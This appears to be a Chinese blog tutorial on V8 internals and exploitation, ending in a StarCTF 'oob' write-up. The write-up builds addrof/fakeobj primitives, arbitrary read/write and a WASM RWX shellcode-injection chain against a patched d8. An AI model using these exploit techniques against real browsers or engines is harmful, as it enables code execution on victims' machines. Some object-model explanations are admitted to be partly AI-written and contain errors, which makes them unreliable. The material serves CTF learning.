初探 V8

参考文章

Chrome-v8-入门 | iyheart的博客

chrome v8 pwn 学习 (2) | CoLin’s BLOG

V8 Pwn Basics 1: JSObject - Wings 的博客

通过StarCTF oob题目学习V8 PWN 入门 | 长亭百川云

注意

本文下图显示的内容都是基于v8 7.5版本的实验结果,该版本暂未使用指针压缩技术,对于高版本的v8的实验结果并不如下图所示

环境搭建

1.需要下载两个编译v8源码的工具depot_toolsninja (下载depot_tools需要挂代理)

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
git clone https://github.com/ninja-build/ninja.git

2.然后将这两个工具添加进环境变量

1
2
3
4
5
6
echo 'export PATH=$PATH:"/path/to/your/depot_tools"' >> ~/.bashrc
cd ninja
./configure.py --bootstrap
cd ..
echo 'export PATH=$PATH:"/path/to/your/ninja"' >> ~/.bashrc
source ~/.bashrc

3.使用depot_tools去下载源码

1
2
fetch v8
cd v8

4.准备依赖和编译v8 (执行的时候要在默认终端,也就是bash,使用zsh等别的终端可能会有点问题,哦对,记得挂代理)

1
2
3
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug #编译过程会很久很久

5.至此你就配置好了你的v8

1
./path/to/your/v8/out.gn/x64.debug/d8

image-20250817144542045

当然除了debug版本的d8,我们还需要release版本的d8,也很简单就可以编译好

1
2
tools/dev/v8gen.py x64.release  
ninja -C out.gn/x64.release d8

回退版本和加载补丁

上述编译好的v8是最新版本,在做题时,我们通常要将版本号回退到指定版本,指定的hash值是每个提交(commit)的唯一标识符,一般题目会给的,回退之后重新编译d8

1
2
3
4
5
6
7
git reset --hard  a7a350012c05f644f3f373fb48d7ac72f7f60542 (这后面的是hash值)
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
git apply path/to/your/pwn.diff #加载补丁(有时候加载不成功的话可以手动输入补充补丁)

调试d8

v8有自带的调试JS代码的gdb插件,我们可以将他复制到本地的gdbinit文件中,给dbg增加插件

1
2
3
4
5
cd /path/to/v8/tools目录
cp gdbinit ~/.gdbinit_v8
#编辑配置文件~/.gdbinit
#在其中添加
source ~/.gdbinit_v8

这样就可以在gdb中使用job等命令来调试js了

同时d8内部也有API调试,最常用的命令有:

%DebugPrint(arr)SystemBreak()

首先随便编写一个js文件:

1
2
3
4
5
var a=[1,2,3];
var b=[2.3,5.164];
var c=[a,b];
%DebugPrint(a);
%SystemBreak();

如果是直接用d8来调试,只需要

1
path/to/your/v8/out.gn/x64.debug/d8 exp.js --allow-natives-syntax #--allow-natives-syntax是配置参数,为的是可以使用%DebugPrint(a)等调试语法

image-20250817151157392

可以看到打印出了a的结构

gdb调试:

1
2
3
gdb path/to/your/v8/out.gn/x64.debug/d8
pwndbg> set args --allow-natives-syntax ./exp.js
pwndbg> r

便可以让程序停在%SystemBreak();的地方,可以查看内存和寄存器的状态来调试

image-20250817151422488

可以看到成功执行了%DebugPrint(a);并在断点处停了下来,可以查看内存中的值

屏幕截图 2025-08-17 151536

也可以在gdb里用job()来查看一个对象中的内部属性

其他具体调试方法可以看参考博客,写的很详细噢~~

JS的数据结构

目前我对于JS对象的数据结构也是一知半解的,以下内容仅供参考,有很多来自AI,如有错误还望理解

指针和数字的区分

为了区分一个内存中储存的数据是一个指针还是数字,v8牺牲了64位内存中的最低位,若最低为1,则表示这个地方储存的是一个指针,这也就解释了为什么内存中存储的指针的最后一位为1或9,而不是我们熟知的0或8,同时对于小整数,v8只用高32位来储存,而将低32位置零(注意这里指7.5版本,高版本并非如此


首先,JS中最主要的结构有原始类型、原生对象和宿主对象

原始类型

原始类型 描述 示例
number 数值(包括整数、浮点数、NaN、Infinity) 423.14NaN
string 字符串(字符序列) 'hello'"world"
boolean 布尔值(仅 truefalse truefalse
null 表示 “空值”(特殊原始值,typeof 会返回 'object',属于历史遗留问题) null
undefined 表示 “未定义”(变量未赋值时的默认值) let a;a 的值
symbol 唯一标识符(ES6 新增,用于对象属性的唯一键) Symbol('id')
bigint 大整数(ES2020 新增,用于表示超出 number 精度范围的整数) 123nBigInt(999999999999999999)

原生对象

  • 普通对象构造器Object(用于创建普通对象,如 new Object())。
  • 原始类型包装对象
    String(字符串包装对象,如 new String('a'))、
    Number(数字包装对象,如 new Number(123))、
    Boolean(布尔包装对象,如 new Boolean(true))。
    (注意:包装对象是对象,与对应的原始类型不同,如 typeof new String('a')'object',而 typeof 'a''string')。
  • 特殊对象
    Symbol(创建 symbol 的构造函数)、
    BigInt(创建 bigint 的构造函数)。
  • 集合类对象Array(数组)、MapSetWeakMapWeakSet
  • 函数与执行相关Function(函数构造器)、PromiseGeneratorAsyncFunction 等。
  • 工具类对象Date(日期)、RegExp(正则表达式)、Math(数学工具,静态对象,无需实例化)、JSON(JSON 解析 / 序列化工具,静态对象)。
  • 错误对象ErrorTypeErrorSyntaxError 等。

宿主对象

宿主对象是由 JS 执行环境(如浏览器、Node.js)提供的对象,不属于 ECMAScript 标准,依赖具体环境。

  • 浏览器环境

    • window(全局对象)、document(DOM 文档对象)、navigator(浏览器信息)、location(URL 信息)等。
    • DOM 元素对象(如 document.getElementById('id') 返回的元素)、DOM 事件对象(如 event)。
    • BOM 相关对象(如 historyscreen)。
  • Node.js 环境

    • global(全局对象)、process(进程信息)、require(模块加载函数)、module(模块对象)等。
    • 内置模块对象(如 fs 文件系统、http 网络模块)。

常见对象种类

类型分类 V8 内部类型标识(英文定义) 含义与示例
普通对象 JS_OBJECT_TYPE 最基础的键值对对象,通过 {}new Object() 创建,如 { a: 1 }
数组 JS_ARRAY_TYPE 有序索引列表,通过 []new Array() 创建,如 [1, 2, 3],自带 length 属性。
函数 JS_FUNCTION_TYPE 可执行的对象,通过 function () {} 或箭头函数创建,如 (a) => a + 1
日期 JS_DATE_TYPE 日期时间对象,通过 new Date() 创建,如 new Date('2024-01-01')
正则表达式 JS_REGEXP_TYPE 正则匹配对象,通过 /pattern/new RegExp() 创建,如 /abc/g
包装对象 JS_STRING_TYPE(字符串) JS_NUMBER_TYPE(数字) JS_BOOLEAN_TYPE(布尔) 原始类型的包装对象,如 new String('abc')(注意:与原始字符串 'abc' 不同)。
Symbol 对象 JS_SYMBOL_TYPE 唯一标识符对象,通过 Symbol() 创建,如 Symbol('key')
BigInt 对象 JS_BIGINT_TYPE 大整数对象,通过 BigInt() 创建,如 BigInt(12345678901234567890)
宿主对象 无统一标识(由环境定义) 由执行环境(如浏览器、Node.js)提供的对象,如浏览器中的 windowdocument,Node.js 中的 globalprocess

对象之间的关系

JS 中对象的关系通过原型链(Prototype Chain) 连接,所有对象最终都继承自 Object.prototype(除了 null)。核心关系如下:

  1. 原型链的顶层

    • Object.prototype 是所有对象的最终原型(除了 null),它包含 toString()hasOwnProperty() 等通用方法。
    • 特例:Object.prototype 的原型是 null(没有上级)。
  2. 具体对象的继承关系

    • 普通对象:直接继承 Object.prototype(如 {}prototype 指向 Object.prototype)。
    • 数组:继承 Array.prototype,而 Array.prototype 又继承 Object.prototype(即 [].prototype === Array.prototypeArray.prototype.prototype === Object.prototype)。
    • 函数:继承 Function.prototype,而 Function.prototype 继承 Object.prototype(如 (function () {}).prototype === Function.prototype)。
    • 包装对象String.prototypeNumber.prototype 等继承 Object.prototype(如 new String('a').prototype === String.prototype)。

    简单说:所有对象都是 Object 的 “后代”,但不同类型的对象有各自的 “直接父类”(如数组的直接父类是 Array.prototype)。

如何判断对象类型

可以通过 Object.prototype.toString.call()来判断, typeof 也可以,但貌似Object.prototype.toString.call()更可靠

1
2
3
4
console.log(Object.prototype.toString.call({})); // "[object Object]" → 对应 JS_OBJECT_TYPE
console.log(Object.prototype.toString.call([])); // "[object Array]" → 对应 JS_ARRAY_TYPE
console.log(Object.prototype.toString.call(function () {})); // "[object Function]" → 对应 JS_FUNCTION_TYPE
console.log(Object.prototype.toString.call(new Date())); // "[object Date]" → 对应 JS_DATE_TYPE

从下图可以看到,我们创建的每一个数组,都继承于 Array.prototype,因为其prototype都指向Array.prototype,故而我们的数组可以使用‘push’,pop等方法,而Array.prototype继承于 Object.prototypeObject.prototype继承于null,

image-20250817220820078

image-20250817220843135

image-20250817220922255

对象的属性

不同的对象有不同的属性

最常见的对象便是普通对象(JS_OBJECT_TYPE)数组对象(JS_ARRAY_TYPE)

普通对象

从上图可以看到,一个普通对象的属性有

  • map指向的是一个对象,map所指向的对象就是我们常说的js隐藏类
  • prototype 指向此对象的原型对象,也说明了此对象继承于哪个对象
  • elements: 指向包含 编号属性 的对象的指针
  • properties: 指向包含 命名属性 的对象的指针
  • In-Object Properties: 指向对象初始化时定义的 命名属性 的指针

接下来通过一段js代码来理解这些属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
const obj = {
a: 1,
b: 2,
0:3,
1:4,
3:5
};
obj.afs=555
console.log(obj[1]);
console.log(obj["a"]);
console.log(obj.a);
%DebugPrint(obj);
%SystemBreak();

运行结果见下图

屏幕截图 2025-08-17 224523

map

map这个属性非常重要,可以看到其中有很多的结构

image-20250817230026361

  1. type: JS_OBJECT_TYPE
    作用:标识该 map 对应的对象类型。
    这里 JS_OBJECT_TYPE 表示该 map 用于普通对象(而非数组、函数、日期等其他类型),引擎通过这个字段快速判断对象的基础类型,从而应用对应的处理逻辑(如属性访问方式、内存布局等)。

    这里非常重要,可以通过篡改一个对象的map为其他类型对象的map,导致错误访问其中的元素,造成类型混淆漏洞,下面的例题会用到

  2. instance size: 40
    作用:表示该类型对象的实例内存大小(单位:字节)。
    这里 40 字节是该对象在内存中的固定占用空间(包括对象头、属性值存储区等),引擎根据这个值为新对象分配内存,确保内存布局的一致性。

    这里obj对象有三个属性以及两个槽位用来储存properties的数据,所以大小为5*8=40

  3. inobject properties: 2
    作用:表示对象内置属性槽的数量(即直接存储在对象内存中的属性容量)。
    这里 2 意味着该对象在自身内存中预留了 2 个属性槽(可直接存储 ab 这样的属性),超过这个数量的属性(如 afs)会被存储到外部的 PropertyArray 中(这也解释了为什么 properties 字段会包含 afs)。

  4. elements kind: HOLEY_ELEMENTS
    作用:描述对象 elements 区域(存储整数索引属性)的类型。
    HOLEY_ELEMENTS 表示 elements 区域存在 “空洞”(即有未赋值的索引,如 <the_hole>),引擎会针对这种类型的 elements 采用特定的迭代和访问策略(与无空洞的 PACKED_ELEMENTS 不同)。

  5. unused property fields: 2
    作用:表示对象内置属性槽中未使用的数量。
    结合 inobject properties: 2 可知,该对象的 2 个内置属性槽已被 ab 填满,这里的 2 可能是指那两个undefined

  6. enum length: invalid
    作用:与对象的可枚举属性长度相关。
    invalid 表示该 map 对应的对象没有预定义的可枚举属性长度(通常在对象属性动态变化后,这个值会失效,需要动态计算)。

  7. stable_map
    作用:标记该 map 是否处于 “稳定状态”。
    stable_map 表示该 map 对应的对象结构近期没有频繁变化(如添加 / 删除属性),引擎会对稳定的 map 应用更多优化(如缓存属性访问路径),提升性能。

  8. back pointer: 0x33df8624ab89 <Map(HOLEY_ELEMENTS)>
    作用:指向该 map 的 “父 map”,形成 map 之间的继承关系。
    当对象动态添加属性时,V8 不会修改原 map,而是创建新 map 并通过 back pointer 指向原 map,这样既能保留历史结构,又能实现结构的增量更新(类似链表的思想)。

  9. prototype_validity cell: 0x01a27869f9b1 <Cell value= 0>
    作用:用于快速验证对象原型链的有效性。
    当原型链发生变化(如修改 prototype)时,这个单元格的值会更新,引擎通过检查该值可快速判断原型链是否有效,避免每次访问原型方法时都重新验证整条链。

  10. instance descriptors (own) #3: 0x016530fcdf09 <DescriptorArray[3]>
    作用:指向当前对象自身的属性描述符数组,存储对象自有属性的元信息。
    这里的 #3 表示包含 3 个属性描述符,对应 abafs 三个属性,每个描述符记录了属性名、存储位置、特性(可写 / 可枚举 / 可配置)等关键信息,是属性名与属性值关联的核心桥梁。

    image-20250817230728153

  11. layout descriptor: (nil)
    作用:描述对象内存布局的额外元信息(如特殊属性的对齐方式、内存偏移量等)。
    (nil) 表示该对象采用默认内存布局,没有需要特殊说明的布局优化或约束(通常普通对象的 layout descriptor 均为 nil,特殊类型对象可能有具体值)。

  12. prototype: 0x01a278682091 <Object map = 0x33df86240229>
    作用:指向该对象的原型对象(即 obj.prototype 指向的对象)。
    这里原型是 Object.prototype(普通对象的默认原型),确保对象能继承 toString()hasOwnProperty() 等通用方法。

  13. constructor: 0x01a2786820c9 <JSFunction Object (sfi = 0xb9497c9cf9)>
    作用:指向该对象的构造函数。
    普通对象的构造函数是 Object,因此 obj.constructor === Object 会返回 true

  14. dependent code: 0x155438a802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
    作用:存储依赖该 map 的优化代码(如 JIT 编译的机器码)。
    当 map 发生变化时,引擎会通过这个指针找到并失效相关的优化代码,确保代码执行的正确性(避免基于旧结构的优化代码出错)。

  15. construction counter: 0
    作用:记录基于该 map 创建的对象实例数量。
    0 表示目前没有通过该 map 新建对象(或计数器未激活),引擎可能根据这个值决定是否对该 map 进行更深度的优化。

prototype

这个之前已经说过了,这里就不再赘述了

elments

编号属性其实也就相当于索引值,如上,我可以通过obj[1]来访问到4,而4也是储存在elements指向的指针的内存里

可以看到v8的机制为了后续方便,直接分配了17个槽位,我猜测这应该和我在未使用索引值2的情况下直接使用了索引值3,所以直接分配了这么多(感兴趣的可以自己测一下,我太懒了),导致了很多的空槽位,那些空槽位指向了<the_hole>

屏幕截图 2025-08-17 225407

In-Object Properties

命名属性一般也就是指由字符串来命名元素,如上,我可以通过obj.aobj["a"]来访问到1,这种初始化定义的命名属性指向的元素会直接储存在该对象内存的下部,如图

image-20250817224711902

可以看到1,2直接储存在了该对象属性的下部

properties

非初始化时的命名属性将会存储在properties指向的指针里

可以看到v8的机制为了后续方便,直接分配了3个槽位用来存放其中的数据,但只有第一个槽位存储了数据555,其他两个槽位为undefined未定义,也就是创建了但是未初始化

屏幕截图 2025-08-17 224953

这些properties的键值存储再map中的instance descriptors (own)

数组对象

测试代码:

1
2
3
4
5
6
arr=[2,1,'aaa'];
arr.b=4;
console.log(arr[0]);
arr[5]=5;
%DebugPrint(arr);
%SystemBreak();

属性只多了一个length,用来记录目前这个数组的长度,其他和普通对象差不多吗,没什么好说的了,感兴趣大家可以自己测一下

image-20250817233203774

魔改v8

魔改v8是学习v8很重要的一个步骤,可以方便出题,理解v8的运行原理,我目前对于很多细节不太懂,就不做过多解释了,只会根据大佬的博客照猫画虎的写内置函数,建议大家看看别的大佬的博客,学习一下

练习题

StarCTF oob

附件分析

看题目给的补丁文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc  
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

主要实现就是给数组对象增加了一个名为oob的方法,其主要实现在22~44行,其他修改只是为了能正常调用oob方法

oob有越界漏洞,比如一个数组的大小为length,正常索引值应该为[0~length-1],但是oob却可以访问索引值[length],这就导致了漏洞,如果创建了一个数组对象arr,调用arr.oob(),可以实现越界读取,调用arr.oob(data),可以将data越界写入arrelements

对于diff补丁的具体分析不再叙述,因为对于其中的很多宏定义以及函数的作用,写法,都不是很清晰,就不误导大家了,具体分析大家可参考通过StarCTF oob题目学习V8 PWN 入门 | 长亭百川云

准备函数

首先要准备浮点数和大整数相互转换的函数,为什么要是浮点型呢,因为附件里使用oob方法时强制把数组中的elements中的内容转换为了FixedDoubleArray类型,也就意味着我们越界读会读取到float类型的数据,越界写进去的数据会当作float类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var buf=ArrayBuffer(16);
var float=Float64Array(buf);
var buint=BigUint64Array(buf);

function ftob(data)
{
float[0]=data;
return buint[0];
}

function btof(data)
{
buint[0]=data;
return float[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
} //只是方便打印

调试分析

浮点类型的数组和普通的数组是没有什么区别的

1
2
3
var float_arr=[1.1,2.2,3.3];
%DebugPrint(float_arr);
%SystemBreak();

可以看到,elements紧挨着这个数组,我们可以越界读取的地方记录着这个数组的map

屏幕截图 2025-08-18 233211

当然其他数组也是如此

1
2
3
4
var float_arr=[1.1,2.2,3.3];
float_map=float_arr.oob();
var obj_arr=[float_arr];
obj_map=obj.oob();

如此,便可以得到浮点型数组的map地址和对象型数组的map地址的浮点型表示

1
float_arr.oob(btof(123n));

当然越界写也很简单,将要写入的整数转化为浮点类型后,通过oob就可以写进去了,那么接下来就是漏洞利用了

有了上述两种类型的map地址后,我们可以实现

  • 获取任意对象的地址
  • 将任意地址解析为对象类型
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function get_obj_addr(obj)
{
obj_arr[0]=obj;
obj_arr.oob(float_map);
let addr=ftob(obj_arr[0])-1n;
obj_arr.oob(obj_map);
return addr;
}

function addr_to_obj(addr)
{
float_arr[0]=btof(addr+1n);
float_arr.oob(obj_map);
let fake_obj=float_arr[0];
float_arr.oob(float_map);
return fake_obj
}

有了上述功能后,我们便可以伪造一个对象了

1
make_fake_obj=[float_map,btof(0n),btof(0n),btof(0x1000000000n),2.2,3.3,4.4,5.5];

这是创建了一个数组对象,这个数组对象的elements里的内容是我们伪造对象的数据,我们伪造的是一个float类型的对象,所以填入了float_map

1
2
3
make_fake_obj=[float_map,btof(0n),btof(0n),btof(0x1000000000n),2.2,3.3,4.4,5.5];
fake_obj_addr=get_obj_addr(make_fake_obj)-0x40n;
fake_obj=addr_to_obj(fake_obj_addr);

之前我们知道了,一个数组的elements紧挨着该数组的map,我们get到的对象地址就是储存map的位置,而这个数组8有个元素,故fake_map的地方就在-0x40处,如此便得到了伪造对象的地址,接着将这个地址解析为一个对象、

接着就可以操作伪造的对象,来实现任意地址读写的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
var buf=new ArrayBuffer(16);
var float=new Float64Array(buf);
var buint=new BigUint64Array(buf);

function ftob(data)
{
float[0]=data;
return buint[0];
}

function btof(data)
{
buint[0]=data;
return float[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}

var float_arr=[1.1,2.2,3.3];
float_map=float_arr.oob();
var obj_arr=[float_arr];
obj_map=obj_arr.oob();

function get_obj_addr(obj)
{
obj_arr[0]=obj;
obj_arr.oob(float_map);
let addr=ftob(obj_arr[0])-1n;
obj_arr.oob(obj_map);
return addr;
}

function addr_to_obj(addr)
{
float_arr[0]=btof(addr+1n);
float_arr.oob(obj_map);
let fake_obj=float_arr[0];
float_arr.oob(float_map);
return fake_obj
}

make_fake_obj=[float_map,btof(0n),btof(0n),btof(0x1000000000n),2.2,3.3,4.4,5.5];
fake_obj_addr=get_obj_addr(make_fake_obj)-0x40n;
fake_obj=addr_to_obj(fake_obj_addr);

function readr(addr)
{
make_fake_obj[2]=btof(addr-0x10n+1n);
let leak_data=fake_obj[0];
return ftob(leak_data);
}

function writer(addr,data)
{
make_fake_obj[2]=addr-0x10n+1n;
fake_obj[0]=btof(data);
}

test={a:1};
test_addr=get_obj_addr(test);
test_data=readr(test_addr+0x18n);
console.log(test_data.toString(16));
writer(test_addr+0x18n,0x50000000000n)
test_data=readr(test_addr+0x18n);
console.log(test_data.toString(16));
%SystemBreak();

image-20250819144551659

可以看到成功吧测试对象的properties读了出来,并且完成了修改


几个小细节:这里制造伪造对象的容器,也就是我实例代码的make_fake_obj最好选择纯净的浮点型数组,因为浮点型数组的值是直接储存在elements里的。而如果多种类型的数据混在一块,就会导致里面的数据会通过指针来索引,其次是伪造的对象,不知为啥必须在length属性后面添加几个浮点数,也就是我上述代码的,2.2,3.3,4.4,5.5,无论是几个都行,但就是不能没有,这里我也不太清晰,只能照做了

WASM

我们现在已经拥有了任意地址读写的功能,接下来的目标就是利用WASM向程序中写入一段shellcode,然后执行这段shellcode

1
2
3
4
5
6
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);  

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);

这里是直接照搬着别人的脚本,现在执行f()函数就相当于执行了

1
2
3
4
int main()
{
return 42;
}

一开是比较好奇,既然可以直接写入函数,为什么不直接执行system("/bin/sh"),然后搜了一下

Wasm 的指令集是结构化、类型安全的,仅包含有限的内存操作、算术运算等指令,不支持直接调用操作系统系统调用(如execveopen等),也无法直接访问进程的其他内存区域。

但是wasm却可以给我们一段可读可写可执行的页内存,接下来便是向其中写入shellcode,f是一个函数对象,我们可以获取其地址,那么怎么获取可读可写可执行的页内存地址呢?调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var buf=new ArrayBuffer(16);
var float=new Float64Array(buf);
var buint=new BigUint64Array(buf);

function ftob(data)
{
float[0]=data;
return buint[0];
}

function btof(data)
{
buint[0]=data;
return float[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}


var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

参考别人的博客,这段区域在f对象中的shared_info中的data中的instance

image-20250819151119619

由此,便可以得到这段内存的地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
var buf=new ArrayBuffer(16);
var float=new Float64Array(buf);
var buint=new BigUint64Array(buf);

function ftob(data)
{
float[0]=data;
return buint[0];
}

function btof(data)
{
buint[0]=data;
return float[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}

var float_arr=[1.1,2.2,3.3];
float_map=float_arr.oob();
var obj_arr=[float_arr];
obj_map=obj_arr.oob();

function get_obj_addr(obj)
{
obj_arr[0]=obj;
obj_arr.oob(float_map);
let addr=ftob(obj_arr[0])-1n;
obj_arr.oob(obj_map);
return addr;
}

function addr_to_obj(addr)
{
float_arr[0]=btof(addr+1n);
float_arr.oob(obj_map);
let fake_obj=float_arr[0];
float_arr.oob(float_map);
return fake_obj;
}

make_fake_obj=[float_map,btof(0n),btof(0n),btof(0x1000000000n),2.2,3.3,4.4,5.5];
fake_obj_addr=get_obj_addr(make_fake_obj)-0x40n;
fake_obj=addr_to_obj(fake_obj_addr);

function readr(addr)
{
make_fake_obj[2]=btof(addr-0x10n+1n);
let leak_data=fake_obj[0];
return ftob(leak_data);
}

function writer(addr,data)
{
make_fake_obj[2]=addr-0x10n+1n;
fake_obj[0]=btof(data);
}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

f_addr=get_obj_addr(f);
share_info=readr(f_addr+0x18n)-1n;
data=readr(share_info+0x8n)-1n;
instance=readr(data+0x10n)-1n;
rwx=readr(instance+0x88n);
console.log("0x"+rwx.toString(16));
%SystemBreak();

image-20250819151822494

接下来就是向其中写入我们的shellcoed

由于任意地址写的时候,需要用到目标地址-0x10处的地址,但是对于rwx的区域来说,这段内存是不和法的,因此不能利用任意地址写直接写进去,故需要另想办法

1
2
3
4
5
6
var data_buf = new ArrayBuffer(32);  
var data_view = new DataView(data_buf);
var buf_backing_store_addr = get_obj_addr(data_buf) + 0x20n;
writer(buf_backing_store_addr,rwx);
for (var i = 0; i < shellcode.length; i++)
data_view.setBigUint64(8*i, shellcode[i], true);

这样就可以成功将shellcode写入rwx中,就可以getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
var buf=new ArrayBuffer(16);
var float=new Float64Array(buf);
var buint=new BigUint64Array(buf);

function ftob(data)
{
float[0]=data;
return buint[0];
}

function btof(data)
{
buint[0]=data;
return float[0];
}

function hex(i)
{
return i.toString(16).padStart(16, "0");
}


var float_arr=[1.1,2.2,3.3];
float_map=float_arr.oob();
var obj_arr=[float_arr];
obj_map=obj_arr.oob();

function get_obj_addr(obj)
{
obj_arr[0]=obj;
obj_arr.oob(float_map);
let addr=ftob(obj_arr[0])-1n;
obj_arr.oob(obj_map);
return addr;
}

function addr_to_obj(addr)
{
float_arr[0]=btof(addr+1n);
float_arr.oob(obj_map);
let fake_obj=float_arr[0];
float_arr.oob(float_map);
return fake_obj;
}

make_fake_obj=[float_map,btof(0n),btof(0n),btof(0x1000000000n),2.2,3.3,4.4,5.5];
fake_obj_addr=get_obj_addr(make_fake_obj)-0x40n;
fake_obj=addr_to_obj(fake_obj_addr);

function readr(addr)
{
make_fake_obj[2]=btof(addr-0x10n+1n);
let leak_data=fake_obj[0];
return ftob(leak_data);
}

function writer(addr,data)
{
make_fake_obj[2]=btof(addr-0x10n+1n);
fake_obj[0]=btof(data);
}

